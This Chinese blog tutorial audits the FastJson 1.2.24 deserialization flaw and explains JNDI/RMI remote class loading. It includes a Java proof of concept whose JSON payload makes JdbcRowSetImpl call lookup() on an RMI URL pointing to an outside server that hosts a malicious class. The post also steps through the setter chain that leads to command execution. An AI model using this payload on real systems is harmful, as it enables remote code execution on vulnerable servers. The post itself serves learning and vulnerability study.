boxmoe_header_banner_img

梦中的登神殿,天才的乱葬岗

加载中

文章导读

FastJson1.2.24反序列化&JDBC链子审计&JNDI注入基础


avatar
RootReapers 2026年3月2日 146

之前的文章介绍了原生的序列化和反序列化操作

而且审计了URLdns链子

接下来是更进阶的:第三方库FastJSON反序列化导致JNDI注入


什么是JNDI注入?先不解释,想一个问题


之前反序列化在正常情况下,只能调用当前环境下有的东西,如果有runtime,那么就可以使用runtime进行rce

但是如果没有呢?或者说被禁用了


当前环境下可以反序列化,但是什么都触发不了

唯一的办法就是通过网络,远程加载类进行反序列化

(因为本地没有,所以只能从远程入手)


jndi中的rmi服务,就是一种远程加载方法的方式

RMI(Remote Method Invoke):

分为服务端和客户端

服务端:提供类

客户端:通过lookup方法指定服务端url,拿到并且加载类到本地

比如lookup(“rmi://198.18.0.1:1099/y5x5af”)

使用rmi协议访问198.18.0.1:1099/y5x5af这个地址,拿到服务端提供的类


既然可以从服务端加载类

那如果服务端提供一个恶意类呢?

客户端直接加载,触发命令执行


细节后面再讲

先介绍一下FastJson这个库

FastJson是阿里巴巴的开源库,用于对JSON数据进行解析和打包

简单来说就是把类转换成JSON,或者把json转换成类

和两种操作,和原生的反序列化以及序列化很相似


原生序列化:把类/对象转换成字符串

原生反序列化:把字符串转换成类/对象

FastJson序列化:把类/对象转换成json

FastJson:把json转换成类/对象


pom.xml如下,下载好FastJson

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>com.sf.maven</groupId>
    <artifactId>FastjsomDemo</artifactId>
    <version>1.0-SNAPSHOT</version>
    <dependencies>
        <!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.24</version>
        </dependency>

    </dependencies>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

</project>


FastJson序列化方法

JSON.toJSONString()返回字符串

JSON.toJSONBytes()返回byte数组


FastJson反序列化方法

parseObject()返回JsonObject类型的对象

parse()返回Object

parseArray()返回JsonArray类型的对象


将JSON对象转换为java对象

JSON.toJavaObject()


将JSON对象写入write流

JSON.writeJSONString()


JSON.toJSONString(u, SerializerFeature.WriteClassName);

在执行toJSONString时

如果加上第二个参数:SerializerFeature.WriteClassName

表示在进行序列化时,把u的类型也写入进去

也就是user类

将来在反序列化还原时,会还原出user类型


这是没加之前,序列化后的输出

{“age”:33,“id”:2,“name”:“xiaodi”}

这是加了之后的输出

{“@type”:“com.sf.maven.User”,“age”:33,“id”:2,“name”:“xiaodi”}


除此之外,加上SerializerFeature.WriteClassName

在反序列化时

如果调用parseObject进行反序列化,则会自动执行目标对象的get和set方法

比如反序列化一个user类

那么就会调用里面的所有get和set方法


如果调用parse进行反序列化,则只调用set


接下来是一条完整的反序列化链子审计

Fastjson 1.2.24 版本JdbcRowsetImp反序列化

package com.sf.maven;

import com.alibaba.fastjson.JSON;

public class FastJSON_rce {
    public static void main(String[] args) throws ClassNotFoundException {

        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");//允许使用rmi进行远程加载
        String payload = "{" +
                "\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
                "\"dataSourceName\":\"rmi://198.18.0.1:1099/y5x5af\"," +
                "\"autoCommit\":true" +
                "}";
        JSON.parse(payload);
    }

}

从poc开始看

关键在于:构造了一个String字符串,然后使用parse执行反序列化后

弹出计算器


开始分析

目标类:com.sun.rowset.JdbcRowSetImpl

属于sun下的类

也就是Java原生(自带的)类,而不是第三方组件的


定位到JdbcRowSetImpl类

接下来怎么走?

可以看到poc中,有@type指定类型

在指定类型的情况下,调用parse函数进行反序列化会触发set方法

在payload中可以看到

分别给dataSourceName和autoCommit进行了赋值

也就是会调用它们的set方法

setdataSourceName和setautoCommit

在JdbcRowSetImpl类里面用ctrl+f去搜


先看setdataSourceName

有一个校验是否为空,为了方便,这里可以直接打断点然后动态调试

在这里断点调试

步入,可以发现dataSource的值为空

因此走到else分支

步入

因为name不为null

且不为空字符串(name.equal(“”)表示判断name的值是否等于""空值)


直接走到else,把name的值(rmi://198.18.0.1:1099/y5x5af)赋值给了dataSource


步过,给url赋了个null值

回到setDataSourceName

现在datasource有值了

所以getDatasourceName不返回空

进入if,调用了setDataSourceName自身

然后把conn,ps,rs三个属性赋空值


好像没什么了(一直步过/步出都没跳转)


再看看autoCommit

因为刚才的setDataSourceName把conn赋为空了

因此直接进else分支

给conn重新赋值,调用connect方法,将其返回值赋给conn


步入connect方法

当前还没收到connect的返回值,因此conn为空

直接跳到else if

getDataSourceName,获取DataSourceName

已知DataSourceName不为空

进入try代码块

发现关键,调用了lookup


并且lookup的参数值是getDataSourceName,也就是DataSourceName

在poc中,dataSourceName的值是我们自己设置的

是一个恶意类的加载链接(由工具生成)

-C参数指定执行calc命令

然后工具生成url链接

将dataSourceName的值改为这个,造成命令执行


这条链的核心就是利用了parse在反序列化有@type标识的类时

会自动调用其set方法,将我们精心构造的恶意类加载url传入给lookup





评论(0)

查看评论列表

暂无评论


发表评论

表情 颜文字
插入代码